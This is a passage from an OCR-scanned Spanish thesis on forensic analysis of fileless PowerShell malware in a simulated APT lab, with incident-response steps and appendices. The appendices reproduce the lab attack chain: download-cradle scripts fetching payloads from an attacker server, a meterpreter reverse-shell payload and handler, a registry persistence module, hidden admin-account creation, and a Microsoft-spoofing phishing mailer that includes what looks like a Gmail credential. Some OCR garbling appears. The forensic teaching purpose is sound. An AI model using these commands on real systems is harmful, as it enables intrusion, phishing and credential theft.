legitima, habria llevado al usuario a ejecutarlo, desencadenando la cadena de compromiso que

culmind con la implantacion del troyano Rosena persistente en C:\Windows\System32.
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Figura 85

Evidencia que muestra archivo que inicia la vulneracion del sistema

La evidencia del historial web Figura 86 revela que el ataque inicid por phishing. El
usuario accedio a un correo en Gmail que contenia un enlace a
http://30.30.30.10/update2024/, disfrazado como "Actualizacién de Seguridad Windows 11".
Esta IP interna (30.30.30.10) es un servidor controlado por el atacante, desde donde se
descarg6 y ejecuto el archivo critical update.exe, completando la cadena de infeccion desde
el engafo por correo hasta la implantacion del troyano persistente.

Figura 86

Historial de navegacion de la victima
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Después de revisar el historial, procedemos a revisar si crearon un usuario de
persistencia el cual les permitiese instalar la persistencia por registro y mantener un proceso
de comunicacion abierto segun la Figura 86Figura 79. Se revisa dentro de la configuracion

del System32 (C:\Windows\System32\config) los archivos del registro SAM y SYSTEM los
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cuales son criticos para este analisis, ya que contienen hashes de contrasefias de usuarios
locales, configuraciones del sistema, politicas de seguridad y configuraciones del software
instalado. Su extraccion permitird intentar recuperar credenciales y conocer si no existen
usuarios de persistencia dentro del sistema operativo Figura 87.

Figura 87

Configuracion de System32 de la maquina victima
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Después de hallar y extraer los archivos SAM y SYSTEM, se utiliz6 la herramienta
RegRipper para analizarlos. Al ejecutar RegRipper con estos archivos (Figura 88), se pueden
observar las cuentas de usuario existentes en el sistema victima. Con ello se puede identificar
que una cuenta fue creada poco antes del incidente de persistencia por registro. El usuario
creado es "test" y pertenece al grupo de administradores. Sin embargo, se denota que la cuenta
fue creada el dia del ataque a las 04:39, que paso a ser administradora a los 2 minutos y que
nunca ha iniciado sesion desde su creacion. Por lo antes mencionado, se puede inferir que la
combinacion de una cuenta con privilegios elevados creada en el momento del ataque, mas el
nulo inicio de sesion con ella, es un fuerte indicio de que el atacante buscé mantener acceso
persistente al sistema. Esta cuenta funciona como una puerta trasera administrativa,

precediendo o complementando la accion del troyano Figura 88.
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Figura 88
Evidencia de informacion de usuario de persistencia

PS C:\Users\User\Documents\UIDE\Trabajo Titulacion\RegRipper3.@> .\rip.exe "../casel/sa” "../casel/SYSTEM" samparse

Username : test [1@82

SID i 5-1-5- 24441845 34-1132686167-1002
Full Name 3

User Commernt

A nt Type

Account Created : Wed Dec
Name 3
Last Login Date : Never
Pwd Reset Date : Wed Dec
Pwd Fail Date : Never
Login Count 1 @

--» Normal user account

El analisis del disco duro completa la cadena forense: el incidente comenz6 con un
ataque de phishing donde la victima, a través de su correo Gmail, accedi6 a un enlace falso
que descargo el ejecutable critical update.exe. Este malware, a su vez, implant6 el troyano
Rosena disfrazado como windowsupdate.exe en System32, asegurando su persistencia
mediante una entrada en el registro. Ademas, se descubrieron cuentas de administrador
ocultas “test” creadas por el atacante, consolidando un compromiso total del sistema con
multiples vias de acceso remoto y persistencia.

4.5. Métricas de eficacia por escenario

Para establecer las métricas de eficiencia se debe contemplar los procesos que ejecuta
el sistema posterior a los ataques realizados y contabilizar el nimero de procesos maliciosos
encontrados en cada escenario, para obtener los procesos se hace uso del plugin
windows.psscan, el mismo que indica procesos activos y terminados en el tiempo en el que se

realizo6 el volcado de memoria, en la Figura 89 se observan los resultados obtenidos.
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Figura 89

Numero de procesos en cada escenario

M volatilitys

\WINDOWS\system32\volatility3>
\WINDOWS\system32\volatility3> Select-String
| Measure-Object | Select-Object Count

\WINDOWS\system32\volatility3> Select-String
| Measure-Object | Select-Object Count

~: \WINDOWS\system32\volatility3> Select-String
| Measure-Object | Select-Object Count

\WINDOWS\system32\volatility3>

Tabla 10

Procesos detectados en los escenarios APT

Escenario Numero De Procesos Sospechosos
Procesos
Compromiso Inicial 173 1 (PowerShell hijo PID 1584)

1 (PowerShell PID 4124)
Escalacion de Privilegios 167
1 PID 11468

Persistencia 151 4 procesos

En la Tabla 10 se resume la cantidad total de procesos encontrados y el proceso
especifico que resulta malicioso, con estos resultados se puede generar la tasa de deteccion
dependiendo del escenario.

Se verifica en la Tabla 11 que mientras mas acciones se concreten para realizar un

ataque se puede obtener mayor evidencia.
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Tabla 11

Tasa de deteccion y tiempo de andalisis

72

ESCENARIO Tasa de deteccion (%) Tiempo de Anélisis
Compromiso Inicial 0.58 10
Escalacion de Privilegios 1,2 15
Persistencia 2,39 20

El analisis forense de los tres casos se realizd en un periodo aproximado de una

semana. Es importante destacar que la duracidn del andlisis forense depende en gran medida

de la capacidad de la memoria RAM analizada y de la complejidad del ataque, ya que

establecer de manera precisa la linea de tiempo y el hilo de incidencias puede requerir un

proceso exhaustivo de correlacion y andlisis de evidencias.

4.6. Flujo de respuestas a incidentes del Ataque 1

4.6.1. Identificacion

Se determina que el host sufrié un compromiso inicial mediante un PowerShell fileless

ejecutado desde el usuario legitimo, ademas de relaciones de ejecucion anémalas entre

explorer.exe, powershell.exe (4968) y powershell.exe (1584). Se identificaron regiones de

memoria con permisos de ejecucion y escritura (RWX), lo cual evidencia la inyeccion de

codigo malicioso. Estos hallazgos, correlacionados con técnicas MITRE ATT&CK como

T1059.003, T1027 y T1055

4.6.2. Contencion

detener la actividad maliciosa para evitar que el compromiso se expanda. Para este

escenario, la contencion incluye aislar el equipo afectado de la red, finalizar procesos

PowerShell activos si el incidente fuera en vivo, y bloquear las sesiones o tokens

comprometidos.
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4.6.3. Erradicacion
Una vez controlado el incidente, se procede a eliminar cualquier rastro de la amenaza.
En este caso, debido a que se trata de un ataque fileless, no se encontraron artefactos
persistentes en disco, por lo que la erradicacion se centra en revisar el registro, perfiles de
usuario, tareas programadas
4.6.4. Recuperacion
La recuperacion consiste en devolver el sistema a un estado seguro y funcional. Para
ello, se puede restaurar la conectividad del equipo, reactivar cuentas de usuario luego de
verificarlas,
4.6.5. Lecciones Aprendidas y Hardening
Deshabilitar PowerShell v2 y aplicar politicas de ejecucion firmadas. Endurecer
permisos del usuario y habilitar soluciones de proteccion avanzada. Estas recomendaciones
fortalecen la postura de seguridad contra ataques fileless y técnicas APT basadas en
PowerShell.
4.7. Flujo de respuestas a incidentes del Ataque 2
La combinacion de psscan y pstree revela que explorer.exe (PID 992) lanz6 un
proceso powershell.exe (PID 4124) sin argumentos visibles, seguido de cmd.exe (PID 11468)
con un proceso extremadamente corto de solo 2 segundos. Esto establece una cadena de
ejecucion manual o remota, tipica de técnicas APT que operan sin dejar rastro en linea de
comandos.
4.7.1. Contension
Bloquear temporalmente sesiones asociadas y detener cualquier proceso PowerShell
con permisos elevados. De igual forma, se deben invalidar tokens del usuario en sesion,
deshabilitar temporalmente la cuenta comprometedora y restringir de inmediato la ejecucion

de scripts y binarios administrativos.
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4.7.2. Erradicacion
liminar cualquier mecanismo que haya permitido la escalacion de privilegios. El
plugin windows.privileges. Privs confirma que powershell.exe (4124) obtuvo un conjunto
completo de 36 privilegios, incluyendo 6 criticos exclusivos de SYSTEM como
SeDebugPrivilege y SeTcbPrivilege.
4.7.3. Recuperacion
Restaurar permisos adecuados de usuario, revisar integridad de cuentas, reforzar
credenciales comprometidas y habilitar nuevamente los servicios afectados bajo un entorno
seguro
4.7.4. Lecciones Aprendidas y Hardening
Se destacan restricciones de PowerShell como Constrained Language Mode,
deshabilitar PowerShell version 2, activar ScriptBlock Logging, reforzar AMSI, aplicar ASR
Rules para bloquear elevaciones sospechosas y limitar privilegios avanzados unicamente a
cuentas administrativas claramente identificadas.
4.8. Flujo de respuestas a incidentes del Ataque 3
El proceso windowsupdate. (PID 2600), cuyo nombre imita al legitimo servicio de
Windows Update pero carece de la extension .exe, constituye un claro caso de Process
Masquerading (T1036.005). Asimismo, procesos como rundll32.exe (PID 8568) y sesiones
efimeras de cmd.exe y WindowsTerminal.exe reveladas, indican ocultamiento mediante
inyeccion de codigo y ejecucion silenciosa.
4.8.1. Contencion
Se puede a aislar el proceso windowsupdate. debido a su ejecucion desde
C:\Windows\System32, una ruta legitima utilizada maliciosamente para evitar sospechas y

paralelamente se detendran los otros procesos detectados.
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4.8.2. Erradicacion
Eliminar todos los elementos que garantizan la permanencia del atacante dentro del
sistema.
4.8.3. Recuperacion
Restaurar el sistema a un estado estable y confiable. Esto incluye restituir
configuraciones del registro, reinstalar componentes alterados o dafiados por malware,
restablecer privilegios de procesos y revisar tokens de seguridad afectados y regenerar
contrasenas seguras
4.8.4. Lecciones Aprendidas y Hardening
Muestran que la persistencia se apoy0 en técnicas clasicas, pero altamente efectivas,
suplantacion de procesos, entradas en el registro, uso de rutas del sistema y creacion de
cuentas administrativas ocultas. Se recomienda implementar politicas estrictas de restriccion
de PowerShell y ejecucion de binarios desconocidos, reforzar AppLocker o WDAC para
bloquear procesos sin extension o con rutas sospechosas
4.9. Analisis teorico en otras versiones
Los mecanismos utilizados por el atacante mantienen un comportamiento consistente
entre Windows 10 y Windows 11. Sin embargo, debido a que Windows 10 perdi6 soporte en
octubre de 2025, su uso dentro de una infraestructura empresarial representa un riesgo
significativo, ya que deja a los sistemas expuestos a vulnerabilidades no corregidas. Aunque
los métodos de deteccion de procesos pueden variar ligeramente entre versiones de Windows,
el principio forense de busqueda y correlacion de artefactos permanece igual,
independientemente del sistema operativo. Esto se aplica también a plataformas como Linux
o macOS, donde lo que cambia es principalmente la sintaxis de las herramientas o los
modulos de Volatility necesarios para su interpretacion. En caso de utilizar herramientas

adicionales al Framework Volatility, es imprescindible verificar previamente su
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compatibilidad con la version del sistema operativo y su correcta interpretacion de los

artefactos antes de proceder con el andlisis.
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CAPITULO 5:

CONCLUSIONES Y RECOMENDACIONES
5.1. Conclusiones

e Se desarrolld un entorno virtual con VMware Workstation que permitid
simular escenarios de ataques fileless en Windows 11, proporcionando un
espacio seguro para la experimentacion de técnicas Blue Team y Red Team.

e La obtencion de volcados de memoria RAM mediante FTK Imager demostrd
ser un paso crucial para el analisis forense de ataques APT, permitiendo
capturar evidencia critica de los sistemas comprometidos.

e El analisis forense con herramientas open source como Volatility 3.0, Autopsy
y RegRipper mostro eficacia en la identificacion de procesos maliciosos y
permitid establecer métricas de desempefio, como la tasa de deteccion de
procesos ocultos y el tiempo requerido para completar el anélisis.

e La documentacion del proceso y los resultados permitié generar un flujo de
respuesta a incidentes con recomendaciones de hardening, incluyendo medidas
de seguridad para PowerShell y ejecucion de scripts, mejorando la capacidad
de mitigacion frente a ataques similares.

e La metodologia desarrollada demuestra aplicabilidad en otras versiones de
Windows y en artefactos complementarios como discos, lo que respalda la
versatilidad y replicabilidad de los procedimientos forenses utilizados.

e Se evidenciod que el uso de herramientas open source ofrecen alternativas de
bajo costo y accesibles para organizaciones con recursos limitados.

e Los escenarios desarrollados y los andlisis realizados proporcionan un marco
metodologico que puede ser utilizado como guia para la capacitacion en

ciberseguridad y andlisis forense, fortaleciendo la preparacion ante ataques
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APT en entornos reales
5.2. Recomendaciones

e Se sugiere ampliar los escenarios virtuales con diferentes versiones de
windows y otros sistemas operaticos para evaluar la factibilidad y efectividad
del analisis forense a partir de herramientas open source en diversos entornos

e Mantener actualizadas las herramientas forenses y capacitar al personal en su
uso asegura una deteccion eficaz de procesos maliciosos.

e Laimplementacion de programas de entrenamiento a equipos de seguridad en
la aplicacion de flujo de respuestas a incidentes.

e Los respaldos de cada copia Forense son esencial antes de realizar un analisis
correspondiente, este proceso se contempla como un pardmetro de buenas
practicas.

e La documentacion detallada de todos los procedimientos y resultados pueden
ser replicados en otros entornos y servir como guia para la mitigacion de
ataques APT.

e Considerar la integracion de red y otros artefactos digitales complementarios
para obtener una vision mas completa del ataque y mejorar las metodologias de

analisis forense.
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5.3. Apéndices

5.3.1. Apéndice A. Instalacién de herramientas

Apéndice A1

Volatility 3

git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3/
python3 -m venv venv && . venv/bin/activate

pip install -e ".[dev]"

Link del repositorio:

https://github.com/volatilityfoundation/volatility3

Apéndice A2

Instalacion de Autopsy

B M Autopsy - Download x +

& (O | O httpsy/www.autopsy.com/download/ 3k vy {3 §= ‘ ﬂ

AUTOPSY CYBER TRIAGE RESPONDERCON  OSDFCON  SLEUTH KIT LABS

AUTOPSY DOWNLOAD ADD-ON MODULES COMMUNITY & SUPPORT ABOUT BLOG

DIGITAL FORENSICS

Download Autopsy

VERSION 4.22.1 FOR WINDOWS

DOWNLOAD 64-BIT >

DOWNLOAD FOR LINUX AND OS X
Autopsy 4 will run on Linux and OS X. To do so:
* Download the Autopsy ZIP file
+ Linux will need The Sleuth Kit Java .deb Debian package

» Follow the instructions to install other dependencies

3 Party Modules

Nota: Se puede descargar mediante el siguiente enlace: https://www.autopsy.com/download/
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Apéndice A 3
Instalacion de FTK Imager

C O https/Awww.exterro.comythank-you-page-digital-foronsics : G o ( iciersesion P Qe

e)’ terro Products Solutions Customers Resources Company  Partners Exterro for Law Enforcement Q

Thank you for your interest in our
Digital Forensics resources

Please check out some of these other interesting digital forensics resources. If you're interested in FTK Forensic Toolkit, you
can buy it or start a free trial at the links below.

START A FREE TRIAL Buy FTK Online

Nota: Se puede descargar mediante el siguiente enlace https:/www.exterro.com/thank-you-

page-digital-forensics

Apéndice A4
Archivo RegRipper

5 gahub.com/keydet8/Regfipper 30

egRipper3.0

About

RegRipper3.0

Releases

Packages

Nota: Se puede descargar mediante el siguiente enlace:

https://github.com/keydet89/RegRipper3.0


https://www.exterro.com/thank-you-page-digital-forensics
https://www.exterro.com/thank-you-page-digital-forensics
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5.3.2. Apéndice E. Procesos de Ataque

Apéndice E1
Servidor Apache 2
sudo systemctl start apache2
Apéndice E2
Archivo stgl.psl
sudo mkdir -p /var/www/html/payloads
sudo chmod 755 /var/www/html/payloads
Apéndice E3

Directorio del repositorio Apache

sudo tee /var/www/html/payloads/stagel.psl << 'EOF'

# Técnica: PowerShell Download Cradle

try {
$stage2_url = "http://30.30.30.10/payloads/stage2.psl"

Write-Host "[+] Descargando payload desde: $stage2_url"

$webClient = New-Object System.Net.WebClient

$payload = $webClient.DownloadString($stage2_url)

Write-Host "[+] Payload descargado, ejecutando en memoria...
Invoke-Expression $payload
}
catch {
Write-Host "[-] Error: $($_.Exception.Message)"

}
EOF
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Apéndice E4

Archivo stg2.psl

sudo tee /var/www/html/payloads/stage2.psl << 'EOF'
# Payload de reconocimiento
function Get-SystemRecon {
$reconData = @{

ComputerName $env:COMPUTERNAME

UserName = $env:USERNAME
OSVersion = (Get-WmiObject Win32_OperatingSystem).Caption
Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"

}

return $reconData
}

Write-Host "[=== RECONOCIMIENTO DEL SISTEMA ===]"
$systemInfo = Get-SystemRecon
$systemInfo.GetEnumerator() | ForEach-Object {

Write-Host " $($_.Key): $($_.Value)"

}

$tempFile = "$env:TEMP\system_recon_$(Get-Date -Format
'yyyyMMdd_HHmmss').json"

$systemInfo | ConvertTo-Json | Out-File -FilePath $tempFile

Write-Host "[+] Informacidn guardada en: $tempFile"

Write-Host "[+] Técnica Fileless Exitosa"

EOF

Apéndice ES

Ejecucion de PowerShell Download Cradle Archivo stage2.p

powershell -ep bypass -c "IEX (New-Object
Net.WebClient).DownloadString( 'http://36.30.30.16/payloads/stagel.ps1')"
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Apéndice E7

Ejecucion de PowerShell Download Cradle para elevacion de privilegios

IEX (New-Object
Net.WebClient).DownloadString( 'http://360.30.30.10/payloads/stage3.ps1")

Apéndice E6

Payload para escalar privilegios

sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=360.30.30.10
LPORT=4445 -f psh -o stage3.psl

Apéndice E8

Recepcion y comandos de identificacion

# Recepcion (handler) en Metasploit Framework
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4445
set ExitOnSession false
exploit -j
# Comandos de identificacion y validacion de procesos
sessions -1 1
getsystem
getuid

getpid
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Apéndice E9

Servidor de Correo electronico

const nodemailer = require("nodemailer");
const transporter = nodemailer.createTransport({
service: "gmail",
auth: {
user: "psicopedagogiauce2023@gmail.com”,

pass: "mrjwhhmnhjrfvwra”,
1
1

const enviarCorreo = async (destinatario) => {

try {

const info = await transporter.sendMail ({

o

from: '"Microsoft Security <security@microsoft.com>’,
to: destinatario,

subject: "ACTUALIZACION DE SEGURIDAD CRITICA - Accidn requerida dentro de 24
horas",

html: ---Cuerpo de correo malicioso---,

})s

console. log("Correo enviado: + info.messageld);

} catch (error) {

console.error("Error enviando el correo:

}
}s

, error);

enviarCorreo("kalipc602@gmail .com");




Analisis forense de malware fileless en un ataque APT

Apéndice E10

Mecanismo de persistencia

89

use exploit/windows/Llocal/persistence
set SESSION 1
set STARTUP SYSTEM
set EXE_NAME legit.exe
set REXENAME legit.exe
PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 360.30.30.10
set LPORT 4444
set DELAY 36

run

Apéndice E11

Creacion de cuenta de administrativa

net user test passwordl23 /add

net Llocalgroup administradores test /add
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5.3.3. Apéndice I. Andlisis Forense

Apéndice 11

Procesos pstree del compromiso inicial

python vol.py -f memory_compromised.mem windows.pstree >
"C:\Users\kevin\Desktop\Ficheros\pstree_memory compromised.txt"

Apéndice 12

Procesos psscan del compromiso inicial

python vol.py -f memory_compromised.mem windows.psscan >
"C:\Users\kevin\Desktop\Ficheros\psscan_memory_compromised.txt"

Apéndice I3

Identificacion de comandos ejecutados

python vol.py -f memory_compromised.mem windows.cmdline >
"C:\Users\kevin\Desktop\Ficheros\cmdline_memory_compromised.txt"

Apéndice 14

Procesos psscan Post-Escalacion

scalacion.txt"

python vol.py -f memoria_post_escalacion.mem windows.psscan >

"C:\Users\kevin\Desktop\Ficheros\Fase2_Escalacion\@1_psscan_post_e

Apéndice IS

Jerarquia de proceso pslist Post-Escalacion

python vol.py -f memoria_post_escalacion.mem windows.pslist.Pstree >

on.txt"

"C:\Users\kevin\Desktop\Ficheros\Fase2 Escalacion\@2_pstree_post_escalaci
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Apéndice 16

Linea de comandos Post-Escalacion

python vol.py -f memoria_post_escalacion.mem windows.cmdline.CmdLine >
"C:\Users\kevin\Desktop\Ficheros\Fase2_Escalacion\@3_pstree_post_escalaci
on.txt"

5.3.4. LINK DEL ESCENARIO VIRTUAL

https://drive.google.com/drive/folders/1-p-ZiaKxbXrfliLmgaVKWRXx-
Ydu6IBnd?usp=sharing

91


https://drive.google.com/drive/folders/1-p-ZiaKxbXrfIiLmgaVKWRx-Ydu6IBnd?usp=sharing
https://drive.google.com/drive/folders/1-p-ZiaKxbXrfIiLmgaVKWRx-Ydu6IBnd?usp=sharing

